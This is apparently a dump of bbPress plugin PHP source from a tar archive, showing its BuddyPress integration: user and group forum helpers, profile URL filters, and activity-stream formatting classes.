 * @param bool $current_user_fallback
 *
 * @return int User ID
 */
function bbp_filter_user_id( $user_id = 0, $displayed_user_fallback = true, $current_user_fallback = false ) {

	// Define local variable
	$bbp_user_id = 0;

	// Get possible user ID's
	$did = bp_displayed_user_id();
	$lid = bp_loggedin_user_id();

	// Easy empty checking
	if ( ! empty( $user_id ) && is_numeric( $user_id ) ) {
		$bbp_user_id = $user_id;

	// Currently viewing or editing a user
	} elseif ( ( true === $displayed_user_fallback ) && ! empty( $did ) ) {
		$bbp_user_id = $did;

	// Maybe fallback on the current_user ID
	} elseif ( ( true === $current_user_fallback ) && ! empty( $lid ) ) {
		$bbp_user_id = $lid;
	}

	return $bbp_user_id;
}

/**
 * Filter the bbPress is_single_user function with BuddyPress equivalent
 *
 * @since 2.1.0 bbPress (r3552)
 *
 * @param bool $is Optional. Default false
 * @return bool True if viewing single user, false if not
 */
function bbp_filter_is_single_user( $is = false ) {
	if ( ! empty( $is ) ) {
		return $is;
	}

	return bp_is_user();
}

/**
 * Filter the bbPress is_user_home function with BuddyPress equivalent
 *
 * @since 2.1.0 bbPress (r3552)
 *
 * @param bool $is Optional. Default false
 * @return bool True if viewing single user, false if not
 */
function bbp_filter_is_user_home( $is = false ) {
	if ( ! empty( $is ) ) {
		return $is;
	}

	return bp_is_my_profile();
}

/**
 * Add the topic title to the <title> if viewing a single group forum topic
 *
 * @since 2.5.0 bbPress (r5161)
 *
 * @param string $new_title The title to filter
 * @param string $old_title (Not used)
 * @param string $sep The separator to use
 * @return string The possibly modified title
 */
function bbp_filter_modify_page_title( $new_title = '', $old_title = '', $sep = '' ) {

	// Only filter if group forums are active
	if ( bbp_is_group_forums_active() ) {

		// Only filter for single group forum topics
		if ( bp_is_group_forum_topic() || bp_is_group_forum_topic_edit() ) {

			// Get the topic
			$topic = get_posts( array(
				'name'        => bp_action_variable( 1 ),
				'post_status' => array_keys( bbp_get_topic_statuses() ),
				'post_type'   => bbp_get_topic_post_type(),
				'numberposts' => 1
			) );

			// Add the topic title to the <title>
			$new_title .= bbp_get_topic_title( $topic[0]->ID ) . ' ' . $sep . ' ';
		}
	}

	// Return the title
	return $new_title;
}

/** BuddyPress Screens ********************************************************/

/**
 * Hook bbPress topics template into plugins template
 *
 * @since 2.1.0 bbPress (r3552)
 */
function bbp_member_forums_screen_topics() {
	add_action( 'bp_template_content', 'bbp_member_forums_topics_content' );
	bp_core_load_template( apply_filters( 'bbp_member_forums_screen_topics', 'members/single/plugins' ) );
}

/**
 * Hook bbPress replies template into plugins template
 *
 * @since 2.1.0 bbPress (r3552)
 */
function bbp_member_forums_screen_replies() {
	add_action( 'bp_template_content', 'bbp_member_forums_replies_content' );
	bp_core_load_template( apply_filters( 'bbp_member_forums_screen_replies', 'members/single/plugins' ) );
}

/**
 * Hook bbPress engagements template into plugins template
 *
 * @since 2.6.0 bbPress (r6320)
 */
function bbp_member_forums_screen_engagements() {
	add_action( 'bp_template_content', 'bbp_member_forums_engagements_content' );
	bp_core_load_template( apply_filters( 'bbp_member_forums_screen_engagements', 'members/single/plugins' ) );
}

/**
 * Hook bbPress favorites template into plugins template
 *
 * @since 2.1.0 bbPress (r3552)
 */
function bbp_member_forums_screen_favorites() {
	add_action( 'bp_template_content', 'bbp_member_forums_favorites_content' );
	bp_core_load_template( apply_filters( 'bbp_member_forums_screen_favorites', 'members/single/plugins' ) );
}

/**
 * Hook bbPress subscriptions template into plugins template
 *
 * @since 2.1.0 bbPress (r3552)
 */
function bbp_member_forums_screen_subscriptions() {
	add_action( 'bp_template_content', 'bbp_member_forums_subscriptions_content' );
	bp_core_load_template( apply_filters( 'bbp_member_forums_screen_subscriptions', 'members/single/plugins' ) );
}

/** BuddyPress Templates ******************************************************/

/**
 * Get the topics created template part
 *
 * @since 2.1.0 bbPress (r3552)
 */
function bbp_member_forums_topics_content() {
?>

	<div id="bbpress-forums" class="bbpress-wrapper">

		<?php bbp_get_template_part( 'user', 'topics-created' ); ?>

	</div>

<?php
}

/**
 * Get the topics replied to template part
 *
 * @since 2.1.0 bbPress (r3552)
 */
function bbp_member_forums_replies_content() {
?>

	<div id="bbpress-forums" class="bbpress-wrapper">

		<?php bbp_get_template_part( 'user', 'replies-created' ); ?>

	</div>

<?php
}

/**
 * Get the topic engagements template part
 *
 * @since 2.6.0 bbPress (r6320)
 */
function bbp_member_forums_engagements_content() {
?>

	<div id="bbpress-forums" class="bbpress-wrapper">

		<?php bbp_get_template_part( 'user', 'engagements' ); ?>

	</div>

<?php
}

/**
 * Get the topics favorited template part
 *
 * @since 2.1.0 bbPress (r3552)
 */
function bbp_member_forums_favorites_content() {
?>

	<div id="bbpress-forums" class="bbpress-wrapper">

		<?php bbp_get_template_part( 'user', 'favorites' ); ?>

	</div>

<?php
}

/**
 * Get the topics subscribed template part
 *
 * @since 2.1.0 bbPress (r3552)
 */
function bbp_member_forums_subscriptions_content() {
?>

	<div id="bbpress-forums" class="bbpress-wrapper">

		<?php bbp_get_template_part( 'user', 'subscriptions' ); ?>

	</div>

<?php
}

/** Forum Group Root **********************************************************/

/**
 * Clean up the group root setting if the forum is being deleted
 *
 * @since 2.6.0 bbPress (r6479)
 *
 * @param int $forum_id The forum ID being deleted
 */
function bbp_maybe_delete_group_forum_root( $forum_id = 0 ) {

	// Bail if no forum ID
	$forum_id = bbp_get_forum_id();
	if ( empty( $forum_id ) ) {
		return;
	}

	// Get the group root
	$group_root = (int) get_option( '_bbp_group_forums_root_id', 0 );

	// Delete the group root if the forum just got deleted
	if ( $group_root === $forum_id ) {
		delete_option( '_bbp_group_forums_root_id' );
	}
}

/**
 * Handle the new group forum root creation
 *
 * @since 2.6.0 bbPress (r6479)
 *
 * @return
 */
function bbp_maybe_create_group_forum_root() {

	// Bail if no nonce
	if ( empty( $_GET['_wpnonce'] ) || ( empty( $_GET['create'] ) || ( 'bbp-group-forum-root' !== $_GET['create'] ) ) ) {
		return;
	}

	// Bail if user cannot publish forums
	if ( ! current_user_can( 'publish_forums' ) ) {
		return;
	}

	// Bail if nonce check fails
	if ( ! wp_verify_nonce( $_GET['_wpnonce'], '_bbp_group_forums_root_id' ) ) {
		return;
	}

	// Create new forum
	$forum_id = bbp_insert_forum(

		// Post
		array( 'post_title' => esc_html__( 'Group Forums', 'bbpress' ) ),

		// Meta
		array( 'forum_type' => 'category' )
	);

	// Update & redirect
	if ( ! empty( $forum_id ) ) {

		// Create
		update_option( '_bbp_group_forums_root_id', $forum_id );

		// Redirect
		bbp_redirect( add_query_arg( array(
			'page'    => 'bbpress',
			'updated' => true
		), admin_url( 'options-general.php' ) ) );
	}
}

/** Forum/Group Sync **********************************************************/

/**
 * These functions are used to keep the many-to-many relationships between
 * groups and forums synchronized. Each forum and group stores pointers to each
 * other in their respective meta. This way if a group or forum is deleted
 * their associations can be updated without much effort.
 */

/**
 * Get forum ID's for a group
 *
 * @since 2.1.0 bbPress (r3653)
 *
 * @param int $group_id
 */
function bbp_get_group_forum_ids( $group_id = 0 ) {

	// Assume no forums
	$forum_ids = array();

	// Use current group if none is set
	if ( empty( $group_id ) ) {
		$group_id = bp_get_current_group_id();
	}

	// Get the forums
	if ( ! empty( $group_id ) ) {
		$forum_ids = groups_get_groupmeta( $group_id, 'forum_id' );
	}

	// Make sure result is an array of ints
	$forum_ids = array_filter( wp_parse_id_list( $forum_ids ) );

	// Filter & return
	return (array) apply_filters( 'bbp_get_group_forum_ids', $forum_ids, $group_id );
}

/**
 * Get group ID's for a forum
 *
 * @since 2.1.0 bbPress (r3653)
 *
 * @param int $forum_id
 */
function bbp_get_forum_group_ids( $forum_id = 0 ) {

	// Assume no forums
	$group_ids = array();

	// Use current group if none is set
	if ( empty( $forum_id ) ) {
		$forum_id = bbp_get_forum_id();
	}

	// Get the forums
	if ( ! empty( $forum_id ) ) {
		$group_ids = get_post_meta( $forum_id, '_bbp_group_ids', true );
	}

	// Make sure result is an array of ints
	$group_ids = array_filter( wp_parse_id_list( $group_ids ) );

	// Filter & return
	return (array) apply_filters( 'bbp_get_forum_group_ids', $group_ids, $forum_id );
}

/**
 * Get forum ID's for a group
 *
 * @since 2.1.0 bbPress (r3653)
 *
 * @param int $group_id
 */
function bbp_update_group_forum_ids( $group_id = 0, $forum_ids = array() ) {

	// Use current group if none is set
	if ( empty( $group_id ) ) {
		$group_id = bp_get_current_group_id();
	}

	// Trim out any empties
	$forum_ids = array_filter( wp_parse_id_list( $forum_ids ) );

	// Get the forums
	return groups_update_groupmeta( $group_id, 'forum_id', $forum_ids );
}

/**
 * Update group ID's for a forum
 *
 * @since 2.1.0 bbPress (r3653)
 *
 * @param int $forum_id
 */
function bbp_update_forum_group_ids( $forum_id = 0, $group_ids = array() ) {
	$forum_id = bbp_get_forum_id( $forum_id );

	// Trim out any empties
	$group_ids = array_filter( wp_parse_id_list( $group_ids ) );

	// Get the forums
	return update_post_meta( $forum_id, '_bbp_group_ids', $group_ids );
}

/**
 * Add a group to a forum
 *
 * @since 2.1.0 bbPress (r3653)
 *
 * @param int $group_id
 */
function bbp_add_group_id_to_forum( $forum_id = 0, $group_id = 0 ) {

	// Validate forum_id
	$forum_id = bbp_get_forum_id( $forum_id );

	// Use current group if none is set
	if ( empty( $group_id ) ) {
		$group_id = bp_get_current_group_id();
	}

	// Get current group IDs
	$group_ids = bbp_get_forum_group_ids( $forum_id );

	// Maybe update the groups forums
	if ( ! in_array( $group_id, $group_ids, true ) ) {
		$group_ids[] = $group_id;
		return bbp_update_forum_group_ids( $forum_id, $group_ids );
	}
}

/**
 * Remove a forum from a group
 *
 * @since 2.1.0 bbPress (r3653)
 *
 * @param int $group_id
 */
function bbp_add_forum_id_to_group( $group_id = 0, $forum_id = 0 ) {

	// Validate forum_id
	$forum_id = bbp_get_forum_id( $forum_id );

	// Use current group if none is set
	if ( empty( $group_id ) ) {
		$group_id = bp_get_current_group_id();
	}

	// Get current group IDs
	$forum_ids = bbp_get_group_forum_ids( $group_id );

	// Maybe update the groups forums
	if ( ! in_array( $forum_id, $forum_ids, true ) ) {
		$forum_ids[] = $forum_id;
		return bbp_update_group_forum_ids( $group_id, $forum_ids );
	}
}

/**
 * Remove a group from a forum
 *
 * @since 2.1.0 bbPress (r3653)
 *
 * @param int $group_id
 */
function bbp_remove_group_id_from_forum( $forum_id = 0, $group_id = 0 ) {

	// Validate forum_id
	$forum_id = bbp_get_forum_id( $forum_id );

	// Use current group if none is set
	if ( empty( $group_id ) ) {
		$group_id = bp_get_current_group_id();
	}

	// Get current group IDs
	$group_ids = bbp_get_forum_group_ids( $forum_id );

	// Maybe update the groups forums
	if ( in_array( $group_id, $group_ids, true ) ) {
		$group_ids = array_diff( array_values( $group_ids ), (array) $group_id );
		return bbp_update_forum_group_ids( $forum_id, $group_ids );
	}
}

/**
 * Remove a forum from a group
 *
 * @since 2.1.0 bbPress (r3653)
 *
 * @param int $group_id
 */
function bbp_remove_forum_id_from_group( $group_id = 0, $forum_id = 0 ) {

	// Validate forum_id
	$forum_id = bbp_get_forum_id( $forum_id );

	// Use current group if none is set
	if ( empty( $group_id ) ) {
		$group_id = bp_get_current_group_id();
	}

	// Get current group IDs
	$forum_ids = bbp_get_group_forum_ids( $group_id );

	// Maybe update the groups forums
	if ( in_array( $forum_id, $forum_ids, true ) ) {
		$forum_ids = array_diff( array_values( $forum_ids ), (array) $forum_id );
		return bbp_update_group_forum_ids( $group_id, $forum_ids );
	}
}

/**
 * Remove a group from all forums
 *
 * @since 2.1.0 bbPress (r3653)
 *
 * @param int $group_id
 */
function bbp_remove_group_id_from_all_forums( $group_id = 0 ) {

	// Use current group if none is set
	if ( empty( $group_id ) ) {
		$group_id = bp_get_current_group_id();
	}

	// Get current group IDs
	$forum_ids = bbp_get_group_forum_ids( $group_id );

	// Loop through forums and remove this group from each one
	foreach ( $forum_ids as $forum_id ) {
		bbp_remove_group_id_from_forum( $group_id, $forum_id );
	}
}

/**
 * Remove a forum from all groups
 *
 * @since 2.1.0 bbPress (r3653)
 *
 * @param int $forum_id
 */
function bbp_remove_forum_id_from_all_groups( $forum_id = 0 ) {

	// Validate
	$forum_id  = bbp_get_forum_id( $forum_id );
	$group_ids = bbp_get_forum_group_ids( $forum_id );

	// Loop through groups and remove this forum from each one
	foreach ( $group_ids as $group_id ) {
		bbp_remove_forum_id_from_group( $forum_id, $group_id );
	}
}

/**
 * Return true if a forum is a group forum
 *
 * @since 2.3.0 bbPress (r4571)
 *
 * @param int $forum_id
 * @return bool True if it is a group forum, false if not
 */
function bbp_is_forum_group_forum( $forum_id = 0 ) {

	// Validate
	$forum_id  = bbp_get_forum_id( $forum_id );

	// Check for group ID's
	$group_ids = bbp_get_forum_group_ids( $forum_id );

	// Check if the forum has groups
	$retval    = (bool) ! empty( $group_ids );

	// Filter & return
	return (bool) apply_filters( 'bbp_is_forum_group_forum', $retval, $forum_id, $group_ids );
}

/*** Group Member Status ******************************************************/

/**
 * Is the current user an admin of the current group
 *
 * @since 2.3.0 bbPress (r4632)
 *
 * @return bool If current user is an admin of the current group
 */
function bbp_group_is_admin() {

	// Bail if user is not logged in or not looking at a group
	if ( ! is_user_logged_in() || ! bp_is_group() ) {
		return false;
	}

	$bbp = bbpress();

	// Set the global if not set
	if ( ! isset( $bbp->current_user->is_group_admin ) ) {
		$bbp->current_user->is_group_admin = groups_is_user_admin( bp_loggedin_user_id(), bp_get_current_group_id() );
	}

	// Return the value
	return (bool) $bbp->current_user->is_group_admin;
}

/**
 * Is the current user a moderator of the current group
 *
 * @since 2.3.0 bbPress (r4632)
 *
 * @return bool If current user is a moderator of the current group
 */
function bbp_group_is_mod() {

	// Bail if user is not logged in or not looking at a group
	if ( ! is_user_logged_in() || ! bp_is_group() ) {
		return false;
	}

	$bbp = bbpress();

	// Set the global if not set
	if ( ! isset( $bbp->current_user->is_group_mod ) ) {
		$bbp->current_user->is_group_mod = groups_is_user_mod( bp_loggedin_user_id(), bp_get_current_group_id() );
	}

	// Return the value
	return (bool) $bbp->current_user->is_group_mod;
}

/**
 * Is the current user a member of the current group
 *
 * @since 2.3.0 bbPress (r4632)
 *
 * @return bool If current user is a member of the current group
 */
function bbp_group_is_member() {

	// Bail if user is not logged in or not looking at a group
	if ( ! is_user_logged_in() || ! bp_is_group() ) {
		return false;
	}

	$bbp = bbpress();

	// Set the global if not set
	if ( ! isset( $bbp->current_user->is_group_member ) ) {
		$bbp->current_user->is_group_member = groups_is_user_member( bp_loggedin_user_id(), bp_get_current_group_id() );
	}

	// Return the value
	return (bool) $bbp->current_user->is_group_member;
}

/**
 * Is the current user banned from the current group
 *
 * @since 2.3.0 bbPress (r4632)
 *
 * @return bool If current user is banned from the current group
 */
function bbp_group_is_banned() {

	// Bail if user is not logged in or not looking at a group
	if ( ! is_user_logged_in() || ! bp_is_group() ) {
		return false;
	}

	$bbp = bbpress();

	// Set the global if not set
	if ( ! isset( $bbp->current_user->is_group_banned ) ) {
		$bbp->current_user->is_group_banned = groups_is_user_banned( bp_loggedin_user_id(), bp_get_current_group_id() );
	}

	// Return the value
	return (bool) $bbp->current_user->is_group_banned;
}

/**
 * Is the current user the creator of the current group
 *
 * @since 2.3.0 bbPress (r4632)
 *
 * @return bool If current user the creator of the current group
 */
function bbp_group_is_creator() {

	// Bail if user is not logged in or not looking at a group
	if ( ! is_user_logged_in() || ! bp_is_group() ) {
		return false;
	}

	$bbp = bbpress();

	// Set the global if not set
	if ( ! isset( $bbp->current_user->is_group_creator ) ) {
		$bbp->current_user->is_group_creator = groups_is_user_creator( bp_loggedin_user_id(), bp_get_current_group_id() );
	}

	// Return the value
	return (bool) $bbp->current_user->is_group_creator;
}

/* BuddyPress Activity Action Callbacks ***************************************/

/**
 * Return an array of allowed activity actions
 *
 * @since 2.6.0 bbPress (r6370)
 *
 * @return array
 */
function bbp_get_activity_actions() {

	// Filter & return
	return (array) apply_filters( 'bbp_get_activity_actions', array(
		'topic' => esc_html__( '%1$s started the topic %2$s in the forum %3$s',    'bbpress' ),
		'reply' => esc_html__( '%1$s replied to the topic %2$s in the forum %3$s', 'bbpress' )
	) );
}

/**
 * Generic function to format the dynamic BuddyPress activity action for new
 * topics/replies.
 *
 * @since 2.6.0 bbPress (r6370)
 *
 * @param string               $type     The type of post. Expects `topic` or `reply`.
 * @param string               $action   The current action string.
 * @param BP_Activity_Activity $activity The BuddyPress activity object.
 *
 * @return string The formatted activity action.
 */
function bbp_format_activity_action_new_post( $type = '', $action = '', $activity = false ) {

	// Get actions
	$actions = bbp_get_activity_actions();

	// Bail early if we don't have a valid type
	if ( ! in_array( $type, array_keys( $actions ), true ) ) {
		return $action;
	}

	// Bail if intercepted
	$intercept = bbp_maybe_intercept( __FUNCTION__, func_get_args() );
	if ( bbp_is_intercepted( $intercept ) ) {
		return $intercept;
	}

	// Groups component
	if ( 'groups' === $activity->component ) {
		if ( 'topic' === $type ) {
			$topic_id = bbp_get_topic_id( $activity->secondary_item_id );
			$forum_id = bbp_get_topic_forum_id( $topic_id );
		} else {
			$topic_id = bbp_get_reply_topic_id( $activity->secondary_item_id );
			$forum_id = bbp_get_topic_forum_id( $topic_id );
		}

	// General component (bbpress/forums/other)
	} else {
		if ( 'topic' === $type ) {
			$topic_id = bbp_get_topic_id( $activity->item_id );
			$forum_id = bbp_get_forum_id( $activity->secondary_item_id );
		} else {
			$topic_id = bbp_get_topic_id( $activity->secondary_item_id );
			$forum_id = bbp_get_topic_forum_id( $topic_id );
		}
	}

	// User link for topic author
	$user_link = bbp_get_user_profile_link( $activity->user_id );

	// Topic link
	$topic_permalink = bbp_get_topic_permalink( $topic_id );
	$topic_title     = get_post_field( 'post_title', $topic_id, 'raw' );
	$topic_link      = '<a href="' . esc_url( $topic_permalink ) . '">' . esc_html( $topic_title ) . '</a>';

	// Forum link
	$forum_permalink = bbp_get_forum_permalink( $forum_id );
	$forum_title     = get_post_field( 'post_title', $forum_id, 'raw' );
	$forum_link      = '<a href="' . esc_url( $forum_permalink ) . '">' . esc_html( $forum_title ) . '</a>';

	// Format
	$activity_action = sprintf( $actions[ $type ], $user_link, $topic_link, $forum_link );

	/**
	 * Filters the formatted activity action new activity string.
	 *
	 * @since 2.6.0 bbPress (r6370)
	 *
	 * @param string               $activity_action Activity action string value
	 * @param string               $type            The type of post. Expects `topic` or `reply`.
	 * @param string               $action          The current action string.
	 * @param BP_Activity_Activity $activity        The BuddyPress activity object.
	 */
	return apply_filters( 'bbp_format_activity_action_new_post', $activity_action, $type, $action, $activity );
}

/**
 * Formats the dynamic BuddyPress activity action for new topics.
 *
 * @since 2.6.0 bbPress (r6370)
 *
 * @param string $action   The current action string
 * @param object $activity The BuddyPress activity object
 *
 * @return string The formatted activity action.
 */
function bbp_format_activity_action_new_topic( $action, $activity ) {
	$action = bbp_format_activity_action_new_post( bbp_get_topic_post_type(), $action, $activity );

	/**
	 * Filters the formatted activity action new topic string.
	 *
	 * @since 2.6.0 bbPress (r6370)
	 *
	 * @param string               $action   Activity action string value
	 * @param BP_Activity_Activity $activity Activity item object
	 */
	return apply_filters( 'bbp_format_activity_action_new_topic', $action, $activity );
}

/**
 * Formats the dynamic BuddyPress activity action for new replies.
 *
 * @since 2.6.0 bbPress (r6370)
 *
 * @param string $action   The current action string
 * @param object $activity The BuddyPress activity object
 *
 * @return string The formatted activity action
 */
function bbp_format_activity_action_new_reply( $action, $activity ) {
	$action = bbp_format_activity_action_new_post( bbp_get_reply_post_type(), $action, $activity );

	/**
	 * Filters the formatted activity action new reply string.
	 *
	 * @since 2.6.0 bbPress (r6370)
	 *
	 * @param string               $action   Activity action string value
	 * @param BP_Activity_Activity $activity Activity item object
	 */
	return apply_filters( 'bbp_format_activity_action_new_reply', $action, $activity );
}
includes/extend/buddypress/members.php000066600000015136151771460310014207 0ustar00<?php

/**
 * bbPress BuddyPress Members Class
 *
 * @package bbPress
 * @subpackage BuddyPress
 */

// Exit if accessed directly
defined( 'ABSPATH' ) || exit;

if ( ! class_exists( 'BBP_Forums_Members' ) ) :
/**
 * Member profile modifications
 *
 * @since 2.2.0 bbPress (r4395)
 * @since 2.6.0 bbPress (r6320) Add engagements support
 *
 * @package bbPress
 * @subpackage BuddyPress
 */
class BBP_BuddyPress_Members {

	/**
	 * Main constructor for modifying bbPress profile links
	 *
	 * @since 2.2.0 bbPress (r4395)
	 */
	public function __construct() {
		$this->setup_actions();
		$this->setup_filters();
		$this->fully_loaded();
	}

	/**
	 * Setup the actions
	 *
	 * @since 2.2.0 bbPress (r4395)
	 *
	 * @access private
	 */
	private function setup_actions() {

		// Allow unsubscribe/unfavorite links to work
		add_action( 'bp_template_redirect', array( $this, 'set_member_forum_query_vars' ) );

		/** Favorites *********************************************************/

		// Move handler to 'bp_actions' - BuddyPress bypasses template_loader
		remove_action( 'bbp_get_request', 'bbp_favorites_handler', 1 );
		add_action(    'bp_actions',      'bbp_favorites_handler', 1 );

		/** Subscriptions *****************************************************/

		// Move handler to 'bp_actions' - BuddyPress bypasses template_loader
		remove_action( 'bbp_get_request', 'bbp_subscriptions_handler', 1 );
		add_action(    'bp_actions',      'bbp_subscriptions_handler', 1 );
	}

	/**
	 * Setup the filters
	 *
	 * @since 2.2.0 bbPress (r4395)
	 * @since 2.6.0 bbPress (r6320) Add engagements support
	 *
	 * @access private
	 */
	private function setup_filters() {
		add_filter( 'bbp_pre_get_user_profile_url',         array( $this, 'get_user_profile_url'        ) );
		add_filter( 'bbp_pre_get_user_topics_created_url',  array( $this, 'get_topics_created_url'      ) );
		add_filter( 'bbp_pre_get_user_replies_created_url', array( $this, 'get_replies_created_url'     ) );
		add_filter( 'bbp_pre_get_user_engagements_url',     array( $this, 'get_engagements_permalink'   ) );
		add_filter( 'bbp_pre_get_favorites_permalink',      array( $this, 'get_favorites_permalink'     ) );
		add_filter( 'bbp_pre_get_subscriptions_permalink',  array( $this, 'get_subscriptions_permalink' ) );
	}

	/**
	 * Allow the variables, actions, and filters to be modified by third party
	 * plugins and themes.
	 *
	 * @since 2.6.0 bbPress (r6808)
	 */
	private function fully_loaded() {
		do_action_ref_array( 'bbp_buddypress_members_loaded', array( $this ) );
	}

	/** Filters ***************************************************************/

	/**
	 * Override bbPress profile URL with BuddyPress profile URL
	 *
	 * @since 2.0.0 bbPress (r3401)
	 * @since 2.6.0 bbPress (r6320) Add engagements support
	 *
	 * @param int $user_id
	 * @return string
	 */
	public function get_user_profile_url( $user_id = 0 ) {
		return $this->get_profile_url( $user_id );
	}

	/**
	 * Override bbPress topics created URL with BuddyPress profile URL
	 *
	 * @since 2.6.0 bbPress (r3721)
	 * @since 2.6.0 bbPress (r6803) Use private method
	 *
	 * @param int $user_id
	 * @return string
	 */
	public function get_topics_created_url( $user_id = 0 ) {
		return $this->get_profile_url( $user_id, bbp_get_topic_archive_slug() );
	}

	/**
	 * Override bbPress replies created URL with BuddyPress profile URL
	 *
	 * @since 2.6.0 bbPress (r3721)
	 * @since 2.6.0 bbPress (r6803) Use private method
	 *
	 * @param int $user_id
	 * @return string
	 */
	public function get_replies_created_url( $user_id = 0 ) {
		return $this->get_profile_url( $user_id, bbp_get_reply_archive_slug() );
	}

	/**
	 * Override bbPress favorites URL with BuddyPress profile URL
	 *
	 * @since 2.1.0 bbPress (r3721)
	 * @since 2.6.0 bbPress (r6803) Use private method
	 *
	 * @param int $user_id
	 * @return string
	 */
	public function get_favorites_permalink( $user_id = 0 ) {
		return $this->get_profile_url( $user_id, bbp_get_user_favorites_slug() );
	}

	/**
	 * Override bbPress subscriptions URL with BuddyPress profile URL
	 *
	 * @since 2.1.0 bbPress (r3721)
	 * @since 2.6.0 bbPress (r6803) Use private method
	 *
	 * @param int $user_id
	 * @return string
	 */
	public function get_subscriptions_permalink( $user_id = 0 ) {
		return $this->get_profile_url( $user_id, bbp_get_user_subscriptions_slug() );
	}

	/**
	 * Override bbPress engagements URL with BuddyPress profile URL
	 *
	 * @since 2.6.0 bbPress (r6320)
	 *
	 * @param int $user_id
	 * @return string
	 */
	public function get_engagements_permalink( $user_id = 0 ) {
		return $this->get_profile_url( $user_id, bbp_get_user_engagements_slug() );
	}

	/**
	 * Set favorites and subscriptions query variables if viewing member profile
	 * pages.
	 *
	 * @since 2.3.0 bbPress (r4615)
	 * @since 2.6.0 bbPress (r6320) Support all profile sections
	 *
	 * @global WP_Query $wp_query
	 * @return If not viewing your own profile
	 */
	public function set_member_forum_query_vars() {

		// Special handling for forum component
		if ( ! bp_is_my_profile() ) {
			return;
		}

		// Get the main query object
		$wp_query = bbp_get_wp_query();

		// 'topics' action
		if ( bp_is_current_action( bbp_get_topic_archive_slug() ) ) {
			$wp_query->bbp_is_single_user_topics = true;

		// 'replies' action
		} elseif ( bp_is_current_action( bbp_get_reply_archive_slug() ) ) {
			$wp_query->bbp_is_single_user_replies = true;

		// 'favorites' action
		} elseif ( bbp_is_favorites_active() && bp_is_current_action( bbp_get_user_favorites_slug() ) ) {
			$wp_query->bbp_is_single_user_favs = true;

		// 'subscriptions' action
		} elseif ( bbp_is_subscriptions_active() && bp_is_current_action( bbp_get_user_subscriptions_slug() ) ) {
			$wp_query->bbp_is_single_user_subs = true;

		// 'engagements' action
		} elseif ( bbp_is_engagements_active() && bp_is_current_action( bbp_get_user_engagements_slug() ) ) {
			$wp_query->bbp_is_single_user_engagements = true;
		}
	}

	/** Private Methods *******************************************************/

	/**
	 * Private method used to concatenate user IDs and slugs into URLs
	 *
	 * @since 2.6.0 bbPress (r6803)
	 *
	 * @param int    $user_id
	 * @param string $slug
	 *
	 * @return string
	 */
	private function get_profile_url( $user_id = 0, $slug = '' ) {

		// Do not filter if not on BuddyPress root blog
		if ( empty( $user_id ) || ! bp_is_root_blog() ) {
			return false;
		}

		// Setup profile URL
		$url = array( bp_core_get_user_domain( $user_id ) );

		// Maybe push slug to end of URL array
		if ( ! empty( $slug ) ) {
			array_push( $url, bbpress()->extend->buddypress->slug );
			array_push( $url, $slug );
		}

		// Return
		return implode( '', array_map( 'trailingslashit', $url ) );
	}
}
endif;
includes/extend/buddypress/index.php000066600000000072151771460310013655 0ustar00<?php

/**
 * Do not modify the files in this folder.
 */
includes/extend/buddypress/activity.php000066600000044636151771460310014420 0ustar00<?php

/**
 * bbPress BuddyPress Activity Class
 *
 * @package bbPress
 * @subpackage BuddyPress
 */

// Exit if accessed directly
defined( 'ABSPATH' ) || exit;

if ( ! class_exists( 'BBP_BuddyPress_Activity' ) ) :
/**
 * Loads BuddyPress Activity extension
 *
 * @since 2.0.0 bbPress (r3395)
 *
 * @package bbPress
 * @subpackage BuddyPress
 */
class BBP_BuddyPress_Activity {

	/** Variables *************************************************************/

	/**
	 * The name of the BuddyPress component, used in activity streams
	 *
	 * @var string
	 */
	private $component = '';

	/**
	 * Forum Create Activity Action
	 *
	 * @var string
	 */
	private $forum_create = '';

	/**
	 * Topic Create Activity Action
	 *
	 * @var string
	 */
	private $topic_create = '';

	/**
	 * Topic Close Activity Action
	 *
	 * @var string
	 */
	private $topic_close = '';

	/**
	 * Topic Edit Activity Action
	 *
	 * @var string
	 */
	private $topic_edit = '';

	/**
	 * Topic Open Activity Action
	 *
	 * @var string
	 */
	private $topic_open = '';

	/**
	 * Reply Create Activity Action
	 *
	 * @var string
	 */
	private $reply_create = '';

	/**
	 * Reply Edit Activity Action
	 *
	 * @var string
	 */
	private $reply_edit = '';

	/** Setup Methods *********************************************************/

	/**
	 * The bbPress BuddyPress Activity loader
	 *
	 * @since 2.0.0 bbPress (r3395)
	 */
	public function __construct() {
		$this->setup_globals();
		$this->setup_actions();
		$this->setup_filters();
		$this->fully_loaded();
	}

	/**
	 * Extension variables
	 *
	 * @since 2.0.0 bbPress (r3395)
	 *
	 * @access private
	 */
	private function setup_globals() {

		// The name of the BuddyPress component, used in activity streams
		$this->component    = 'bbpress';

		// Forums
		$this->forum_create = 'bbp_forum_create';

		// Topics
		$this->topic_create = 'bbp_topic_create';
		$this->topic_edit   = 'bbp_topic_edit';
		$this->topic_close  = 'bbp_topic_close';
		$this->topic_open   = 'bbp_topic_open';

		// Replies
		$this->reply_create = 'bbp_reply_create';
		$this->reply_edit   = 'bbp_reply_edit';
	}

	/**
	 * Setup the actions
	 *
	 * @since 2.0.0 bbPress (r3395)
	 *
	 * @access private
	 */
	private function setup_actions() {

		// Register the activity stream actions
		add_action( 'bp_register_activity_actions',      array( $this, 'register_activity_actions' )        );

		// Hook into topic and reply creation
		add_action( 'bbp_new_topic',                     array( $this, 'topic_create'              ), 10, 4 );
		add_action( 'bbp_new_reply',                     array( $this, 'reply_create'              ), 10, 5 );

		// Hook into topic and reply status changes
		add_action( 'edit_post',                         array( $this, 'topic_update'              ), 10, 2 );
		add_action( 'edit_post',                         array( $this, 'reply_update'              ), 10, 2 );

		// Hook into topic and reply deletion
		add_action( 'bbp_delete_topic',                  array( $this, 'topic_delete'              ), 10, 1 );
		add_action( 'bbp_delete_reply',                  array( $this, 'reply_delete'              ), 10, 1 );

		// Append forum filters in site wide activity streams
		add_action( 'bp_activity_filter_options',        array( $this, 'activity_filter_options'   ), 10    );

		// Append forum filters in single member activity streams
		add_action( 'bp_member_activity_filter_options', array( $this, 'activity_filter_options'   ), 10    );

		// Append forum filters in single group activity streams
		add_action( 'bp_group_activity_filter_options',  array( $this, 'activity_filter_options'   ), 10    );
	}

	/**
	 * Setup the filters
	 *
	 * @since 2.0.0 bbPress (r3395)
	 *
	 * @access private
	 */
	private function setup_filters() {

		// Obey BuddyPress commenting rules
		add_filter( 'bp_activity_can_comment',   array( $this, 'activity_can_comment'   )        );

		// Link directly to the topic or reply
		add_filter( 'bp_activity_get_permalink', array( $this, 'activity_get_permalink' ), 10, 2 );
	}

	/**
	 * Allow the variables, actions, and filters to be modified by third party
	 * plugins and themes.
	 *
